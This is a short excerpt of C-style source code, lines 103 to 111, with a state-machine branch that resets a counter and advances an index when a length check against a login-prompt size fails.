103 | }
104 | if (base == 4 && !(orig == T && len < size_reverse_login_prompt)) {
105 | base = 0;
106 | index += 1;
107 | return;
108 | }
109 |
110 | }
111 |
--------------------------------------------------------------------------------